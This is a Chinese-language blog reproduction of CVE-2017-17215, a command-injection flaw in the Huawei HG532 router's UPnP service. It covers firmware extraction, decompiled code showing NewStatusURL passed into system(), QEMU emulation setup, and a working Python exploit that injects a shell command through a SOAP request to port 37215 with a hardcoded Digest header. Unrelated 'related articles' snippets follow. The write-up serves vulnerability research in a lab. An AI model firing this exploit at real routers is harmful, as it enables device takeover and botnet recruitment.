华为HG532路由器RCE漏洞 CVE-2017-17215 复现

华为HG532路由器RCE漏洞 CVE-2017-17215

CVE-Description

Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.

华为 HG532 的某些定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向 37215 端口发送恶意数据包来发起攻击。成功利用此漏洞可能导致任意代码被远程执行。

0x00 文件提取

直接用binwalk -Me .bin,在squashfs-root//bin/下有一个upnp,就是漏洞文件

UPnP:

UPnP(通用即插即用)是一种基于网络协议的技术框架,允许设备在无需手动配置的情况下自动发现、连接和通信,广泛应用于家庭网络、智能家居和物联网场景,但需注意其潜在的安全性和性能问题。

checksec upnp查看其信息:

Arch:     mips-32-big
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

没有开启任何包含。

0x01 漏洞定位

用官方报告中提及的NewStatusURLNewDownloadURL字符串定位

在这里插入图片描述

得到所在函数的源码:

int __fastcall sub_407B20(int a1)
{int ChildNodeByName; // $s1const char *v4; // [sp+20h] [-40Ch] BYREFconst char *v5; // [sp+24h] [-408h] BYREF_BYTE v6[1028]; // [sp+28h] [-404h] BYREFChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);if ( !ChildNodeByName ){if ( v4 ){ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);if ( !ChildNodeByName ){if ( v5 ){snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);system(v6);}}}}return ChildNodeByName;
}

这里直接将变量值v4,v5拼接进语句中,再传入system函数执行,这就是漏洞点

snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);system(v6);

这段代码的逻辑大概可以看出来是从XML中提取出NewDownloadURL和NewStatusURL,然后拼接进命令里执行

也就是这样:

upg -g -U <NewDownloadURL> -t '1 Firmware Upgrade Image' -c upnp -r <NewStatusURL> -d -b

但这个漏洞函数并没有被直接引用:

去文件系统里查查:

$ grep -r 'NewDownloadURL'                             
grep: bin/upnp: 匹配到二进制文件
etc/upnp/DevUpg.xml:<name>NewDownloadURL</name>$ grep -r DevUpg.xml                
grep: bin/upnp: 匹配到二进制文件

DevUpg.xml只在upnp文件中存在,继续寻找:

int ATP_UPNP_RegDeviceAndService()
{......v0 = ATP_UPnP_RegDevice(0, dword_426F54, "InternetGatewayDevice:1", 3, 0, 0, &v25);v1 = ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2, 0, 0, &v26);v2 = ATP_UPnP_RegService(v25, "Layer3Forwarding:1", "L3Fwd.xml", 3, 0, 0, &v27);v3 = ATP_UPnP_RegService(v25, "LANConfigSecurity:1", "LANSec.xml", 2, 0, 0, &v29);result = v1+ v0+ v2+ v3+ ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceConfig:1", "DevCfg.xml", 2, 0, 0, &v28);if ( !result ){v43 = ATP_UPnP_RegDevice(v25, 0, "WANDevice:1", 3, 1, 0, &v31);v5 = ATP_UPnP_RegService(v31, "WANCommonInterfaceConfig:1", "WanCommonIfc1.xml", 2, 0, 0, &v32);v96 = ATP_UPnP_RegService(v31, "WANDSLInterfaceConfig:1", "WanDslIfCfg.xml", 3, 0, 0, &v30);v6 = ATP_UPnP_RegDevice(v31, 0, "WANConnectionDevice:1", 3, 1, 0, &v33);v7 = ATP_UPnP_RegService(v33, "WANDSLLinkConfig:1", "WanDslLink.xml", 2, 0, 0, &v41);v8 = ATP_UPnP_RegService(v33, "WANIPConnection:1", "WanIpConn.xml", 3, 1, 0, &v35);v9 = ATP_UPnP_RegService(v33, "WANPPPConnection:1", "WanPppConn.xml", 3, 1, 0, &v34);v10 = ATP_UPnP_RegService(v33, "WANEthernetConnectionManagement:1", "WanEthConnMgt.xml", 2, 0, 0, &v36);v11 = ATP_UPnP_RegService(v33, "WANEthernetLinkConfig:1", "WanEthLinkCfg.xml", 2, 0, 0, &v37);v12 = ATP_UPnP_RegDevice(v25, 0, "LANDevice:1", 2, 1, 0, &v38);v14 = ATP_UPnP_RegService(v38, "LANHostConfigManagement:1", "LanHostCfgMgmt.xml", 2, 0, 0, &v39);v13 = ATP_UPnP_RegService(v38, "WLANConfiguration:1", "WLANCfg.xml", 2, 1, 0, &v40);v42 = ATP_UPNP_RegAction(v26, 0);......

跟进ATP_UPnP_RegDevice:

int __fastcall ATP_UPnP_RegService(int a1, int a2, const char *a3, int a4, int a5, int a6, int **a7)
{
......if ( !g_pcDescPath )goto LABEL_111;snprintf(v81, 128, "%s/%s", (const char *)g_pcDescPath, a3);if ( TSP_XML_ParseFile(v81, &v77) )goto LABEL_111;v40 = ATP_UPNP_StrDup(a3);......

函数逻辑为:

1、注册 UPnP 服务ATP_UPnP_RegService),每个服务对应一个 XML 文件。

2、检查是否已有该服务,如果已有,直接复制旧的服务数据。

3、解析 XML,提取 状态变量(stateVariable)动作(ActionList)

4、将服务挂载到设备上,最终注册完成。

所以漏洞函数对应的就是DeviceUpgrade设备升级这个服务。

继续跟进ATP_UPNP_RegAction:

int __fastcall ATP_UPNP_RegAction(int a1, int a2)
{int n1074331648; // $v0_DWORD *v4; // $s0char *v5; // $s2int v6; // $s1if ( !a1 )return 1074331648;n1074331648 = 1074331648;if ( *(_DWORD *)(a1 + 48) ){v4 = *(_DWORD **)(a1 + 36);if ( v4 ){v5 = (&g_astActionArray)[4 * a2];         // "Upgrade"while ( 1 ){if ( (v4[1] & 0x40000000) != 0 ){v6 = *v4;if ( !strcmp(*v4, v5) )break;}v4 = (_DWORD *)v4[4];n1074331648 = 1074331648;if ( !v4 )return n1074331648;}ATP_UPNP_Free(v6);v4[1] &= ~0x40000000u;*v4 = a2;return 0;}}return n1074331648;
}

这里有个 _Upgrade_ = (&g_astActionArray)[4 * a2]; // "Upgrade"

在g_astActionArray处,做全局变量修复后,发现这是一个虚表,且存在漏洞函数sub_407B20

在这里插入图片描述

这个虚表还会被UPnPGetActionByName调用

在这里插入图片描述

UPnPGetActionByName:

char *__fastcall UPnPGetActionByName(int a1, int a2, int a3, _DWORD *a4)
{......v10 = *i;v11 = &(&g_astActionArray)[4 * *i];     // "Upgrade"if ( !strcmp(*v11, a2) && (!v11[1] || !strcmp(v11[1], a3)) ){if ( a4 )*a4 = (&g_astActionArray)[4 * v10 + 3];// "Upgrade"// "Upgrade"return (&g_astActionArray)[4 * *i + 2];......

这部分取值并调用返回函数,这里就是调用漏洞函数的位置,下面继续跟进,看如何触发UPnPGetActionByName

在sub_40B198里找到了调用

int __fastcall sub_40B198(_DWORD *a1, int a2)
{......if ( ATP_HTTP_ClientRecvAllBody(a2, v2, &v37, 0) )return 1074331659;v5 = *(_DWORD *)(v2 + 8);if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 ){ServiceByUrl = UpnpGetServiceByUrl(v5, &v36);......v47[14] = 0;if ( !ATP_XML_GetChildNodeByName(v38, "Header", &v41, 0) )ATP_XML_GetChildNodeByName(v41, "SessionID", 0, &v47[14]);if ( ATP_XML_GetChildNodeByName(v38, "Body", &v39, 0)|| (NodeFirstChild = TSP_XML_GetNodeFirstChild(v39), (NodeFirstChild_1 = NodeFirstChild) == 0)|| (v42 = 0, TSP_XML_GetNodeValue(NodeFirstChild, 0, &v42, &v43, 0))|| !v43 ){v8 = 0;TSP_XML_FreeNode(v38);n1074331658 = 1074331658;goto LABEL_23;}......ActListByActName = UpnpGetActListByActName();if ( ActListByActName ){snprintf(tr064_set_action(%s)_failed__ErrorCode:_%d_, 256, "upnp set action(%s)", (const char *)v47[9]);v30 = *(const char ***)(ActListByActName + 8);if ( !v30 || *(_DWORD *)(ActListByActName + 12) )goto LABEL_70;do{if ( !*((_DWORD *)v30[1] + 2) ){if ( !*v30 )goto LABEL_63;v31 = (const char *)sub_40A618(v47, *v30);if ( !v31 )goto LABEL_63;v33 = strlen(tr064_set_action(%s)_failed__ErrorCode:_%d_);snprintf(&tr064_set_action(%s)_failed__ErrorCode:_%d_[v33],256 - v33,"[param %s, value:%s]",*v30,v31);}if ( strcmp(v47[9], "SetConfigPassword") ){v46[0] = *(_DWORD *)(g_pstUPnPStack + 24);v25 = *(_DWORD *)(g_pstUPnPStack + 32);}

这里有一个 if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 ) 做了url的限制(另外该函数中还有一部分SetConfigPassword,不知道这里会不会也存在漏洞)

/ctrlu/就是传入的url,后面跟着参数,至此找到了漏洞函数最上层的入口。

0x02 漏洞利用

看网上都说upnp服务需要通过32715端口来启动,但无一例外都没有说具体源码在哪。

实际上去看main函数,很容易看到这一部分,创建 了UPnP HTTP 服务器,监听 37215 端口

    if ( Server_1 < 0 ){Server = ATP_UTIL_SocketCreateServer(0, 37215, 0);Server_1 = Server;if ( Server < 0 ){v17 = *(_DWORD *)_errno_location();tr064_reg_msg_db_proc_failed:%X_n = "Create upnp http socket failed: %d.\n";goto LABEL_36;}listen(Server, 20);}

所以我们需要去找其他有用到37215端口的程序

找到了bin/mic,在mic文件中,不知为何,我并没有找到相关的源码

$ grep -ra '37215'
bin/mic:cmsCms not started yet.consolewebcwmptelnetdupnp|37215|t4;|37443|s4dnsbrctl addbr br0:9 2> /dev/nullifconfig br0:9 169.254.100.156 netmask 255.0.0.0 2> /dev/nullifconfig br0:9 up 2> /dev/null%s169.254.100.156ifconfig br0:9 down 2> /dev/nullbrctl delbr br0:9 2> /dev/nullbftpdCreate ipv6 socket for bftpd with port %d.

漏洞披露里说可以通过运行/bin/mic文件来打开37215端口,打开37215端口,并向该端口下的/ctrlt/DeviceUpgrade_1地址发送数据包,才能启用UPnP服务。

可以用sudo nmap 192.168.192.133 -p1-65535命令扫描到qemu虚拟机中所有打开的端口,或者用nc -vv 192.168.192.133 37215命令看看能否成功连接上37215端口

sudo qemu-system-mips \-M malta  \ -kernel vmlinux-2.6.32-5-4kc-malta   \-hda debian_squeeze_mips_standard.qcow2  \ -append "root=/dev/sda1 console=tty0"   \-netdev tap,id=tapnet,ifname=tap0,script=no   \-device rtl8139,netdev=tapnet  
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"  -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet  sudo qemu-system-mips \-M malta -kernel vmlinux-2.6.32-5-4kc-malta \-hda debian_squeeze_mips_standard.qcow2 \-append "root=/dev/sda1 console=tty0" \-net nic,macaddr=00:16:3e:00:00:01 \-net tap

下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2  
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

创建虚拟网桥,实现虚拟机内部和Ubuntu的连接

sudo apt-get install bridge-utils  
sudo brctl addbr Virbr0  
sudo ifconfig Virbr0 192.168.153.1/24 up

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

创建tap0接口 并添加网桥

sudo tunctl -t tap0  
sudo ifconfig tap0 192.168.153.11/24 up  
sudo brctl addif Virbr0 tap0

经典华为路由器漏洞复现详细分析(包括整个漏洞链)
写一个启动脚本start.sh

#!/bin/bash  sudo qemu-system-mips   -M malta   -kernel vmlinux-2.6.32-5-4kc-malta   -hda debian_squeeze_mips_standard.qcow2   -append "root=/dev/sda1 console=tty0"   -netdev tap,id=tapnet,ifname=tap0,script=no   -device rtl8139,netdev=tapnet   -nographic

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

增加一个IP 检测双ping 是否能ping通

ifconfig eth0 192.168.153.3/24 up

经典华为路由器漏洞复现详细分析(包括整个漏洞链)
然后把文件系统复制到我们新启动的虚拟机中

sudo scp -r ./squashfs-root root@192.168.153.3:/root/

然后挂载启动

mount -o bind /dev ./squashfs-root/dev  
mount -t proc /proc ./squashfs-root/proc  
chroot squashfs-root sh

这里根据漏洞分析 是要启动upnpmic这两个接口。

由于启动mic的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.153.3  
chroot squashfs-root sh  
./bin/upnp  
./bin/mic

启动后我们发现

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

eth0没了 我们重新启动

ifconfig eth0 192.168.153.3/24 up

在宿主机测试:

nc -vv 192.168.153.3 37215

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

环境启动成功

在这里插入图片描述

用下面的脚步即可完成复现

import requests   
import sys
headers = {  "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"  
}  data = f'''<?xml version="1.0" ?>  
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">  <NewStatusURL>;{sys.argv[1]};</NewStatusURL>  <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>  </u:Upgrade>  
</s:Body>  
</s:Envelope>  
'''  
requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

复现成功,可以看到在mic的运行输出中打印了ls的返回值

在这里插入图片描述

参考链接

https://research.checkpoint.com/2017/good-zero-day-skiddie/

https://cn-sec.com/archives/3690438.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/42160.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

调用deepseek大模型时智能嵌入函数

DeepSeek-R1 当前炙手可热,以其强大的自然语言处理和推理能力而广受赞誉。饶是如此,却并不原生支持函数调用(function_call),这是开发过程中不可或缺的一部分。虽有第三方调校的模型支持,然终非官方自带,还需假以时日。本文虽然简短,应该是全网写得最通透的了吧。 …

MATLAB绘图配色包说明

本栏目将分享MATLAB数据分析图表&#xff0c;该贴讲述配色包的使用 将配色包colormap_nclCM文件夹添加到路径close all&#xff08;尽量不要删&#xff09;&#xff0c;使用map colormap(nclCM(309))时会多出来一张空白图片。配色资源来自slandarer&#xff1b;找不到合适颜色…

Scala

Scala 一、Scala 简介 Scala是一种多范式的编程语言&#xff0c;融合了面向对象编程和函数式编程的特性&#xff0c;以下为你详细介绍&#xff1a; 1、起源与发展 ①起源&#xff1a;Scala由瑞士洛桑联邦理工学院的Martin Odersky教授在2001年开始设计&#xff0c;并于2004…

PostgreSQL: GIN 索引详解

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

方法指南:利用边缘计算实现低延迟直播流媒体服务

假设你的公司需要提供直播的流媒体服务&#xff0c;然而你们最近遇到了流量意外激增或中断的情况。那么你和你的团队可能就必须争分夺秒地排除故障修复延迟&#xff0c;毕竟这种中断可能会给观众带来严重问题&#xff0c;也会给你的团队带来巨大挑战。 问题的根源往往在于&…

MySQL数据库入门

目录 前言 一、安装软件 二、普通指令使用 三、MySQL接口API相关函数 1、API函数使用步骤 2、mysql_init-MYSQL对象初始化 3、mysql_real_connect()——数据库引擎建立连接 4、mysql_close()——关闭数据库连接 5、mysql_query()——查询数据库某表内容 6、mysql_stor…

K8S学习之基础五十七:部署代码扫描工具sonarqube

部署代码扫描工具sonarqube 拉取postgres、sonarqube镜像&#xff0c;在harbor上创建postgres、sonarqube项目&#xff0c;将镜像上传至harbordocker pull postgres docker pull sonarqube docker tat postgres:latest 172.16.80.140/postgres/postgres:latest docker tat sona…

个人学习编程(3-24) 数据结构

括号的匹配&#xff1a; if((s[i]) && now() || (s[i]] && now[)){ #include <bits/stdc.h>using namespace std;int main() {char s[300];scanf("%s",&s);int i;int len strlen(s);stack <char> st;for (i 0; i < len; i){if(…

Redis6为什么引入了多线程?

大家好&#xff0c;我是锋哥。今天分享关于【Redis6为什么引入了多线程&#xff1f;】面试题。希望对大家有帮助&#xff1b; Redis6为什么引入了多线程&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Redis 6 引入了多线程的主要目的是为了提升 Redis…

电力物联网数据采集装置 高精度电能计量表

摘要 随着现代电力系统的复杂化和负荷多样化&#xff0c;电能质量问题日益突出。高精度电能质量监测装置在配电系统中的应用&#xff0c;可以有效监测和分析谐波、不平衡、电压暂升暂降等电能质量问题&#xff0c;为电网优化运行和故障诊断提供重要数据支持。本文以APM电能质量…

element-plus中,Tour 漫游式引导组件的使用

目录 一.Tour 漫游式引导组件的简单介绍 1.作用 2.基本使用 3.展示效果 二.实战1&#xff1a;介绍患者病历表单 1.要求 2.实现步骤 3.展示效果 结语 一.Tour 漫游式引导组件的简单介绍 1.作用 快速了解一个功能/产品。 2.基本使用 从官网复制如下代码&#xff1a; &…

【Unity网络编程知识】使用Socket实现简单TCP通讯

1、Socket的常用属性和方法 创建Socket TCP流套接字 Socket socketTcp new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); 1.1 常用属性 1&#xff09;套接字的连接状态 socketTcp.Connected 2&#xff09;获取套接字的类型 socketTcp.So…

【C++游戏引擎开发】《线性代数》(1):环境配置与基础矩阵类设计

一、开发环境配置 1.1 启用C 20 在VS2022中新建项目后右键项目 1.2 启用增强指令集 1.3 安装Google Test vcpkg安装使用指南 vcpkg install gtest:x64-windows# 集成到系统目录&#xff0c;只需要执行一次&#xff0c;后续安装包之后不需要再次执行 vcpkg integrate inst…

Flutter完整开发实战详解(一、Dart语言和Flutter基础)

前言 在如今的 Flutter 大潮下&#xff0c;本系列是让你看完会安心的文章。本系列将完整讲述&#xff1a;如何快速从0开发一个完整的 Flutter APP&#xff0c;配套高完成度 Flutter 开源项目 GSYGithubAppFlutter。同时也会提供一些 Flutter 的开发细节技巧&#xff0c;并针对…

Spring 事件监听机制介绍以及源码分析

在复杂的业务系统中&#xff0c;模块间的过度耦合往往会导致代码维护困难、扩展性受限。Spring 事件监听机制基于观察者模式&#xff0c;提供了一种优雅的解耦方案&#xff0c;使得组件间通过事件驱动实现松耦合通信。这种机制不仅被 Spring 框架内部使用&#xff08;如容器生命…

【VSCode的安装与配置】

目录&#xff1a; 一&#xff1a;下载 VSCode二&#xff1a;安装 VSCode三&#xff1a;配置 VSCode 一&#xff1a;下载 VSCode 下载地址&#xff1a;https://code.visualstudio.com/download 下载完成之后&#xff0c;在对应的下载目录中可以看到安装程序。 二&#xff1a;安装…

2024年认证杯SPSSPRO杯数学建模C题(第二阶段)云中的海盐全过程文档及程序

2024年认证杯SPSSPRO杯数学建模 C题 云中的海盐 原题再现&#xff1a; 巴黎气候协定提出的目标是&#xff1a;在2100年前&#xff0c;把全球平均气温相对于工业革命以前的气温升幅控制在不超过2摄氏度的水平&#xff0c;并为1.5摄氏度而努力。但事实上&#xff0c;许多之前的…

Scala基础语法与简介

对象 -对象有属性和行为。例如&#xff1a;一只狗的状属性有&#xff1a;颜色&#xff0c;名字&#xff0c;行为有&#xff1a;叫、跑、吃等。对象是一个类的实例。 类 -类是对象的抽象&#xff0c;而对象是类的具体实例。 方法 -方法描述的基本的行为&#xff0c;一个类可以…

鸿蒙UI开发

鸿蒙UI开发 本文旨在分享一些鸿蒙UI布局开发上的一些建议&#xff0c;特别是对屏幕宽高比发生变化时的应对思路和好的实践。 折叠屏适配 一般情况&#xff08;自适应布局/响应式布局&#xff09; 1.自适应布局 1.1自适应拉伸 左右组件定宽 TypeScript //左右定宽 Row() { …

BeeWorks:为企业打造专网部署即时通讯解决方案

在数字化快速发展的今天&#xff0c;企业的沟通与协作越来越依赖于高效的即时通讯工具。然而&#xff0c;保障信息安全和数据隐私也变得愈发重要。这种情况下&#xff0c;专网部署即时通讯软件成为许多企业的首要选择。BeeWorks作为一款优质的专网部署即时通讯软件&#xff0c;…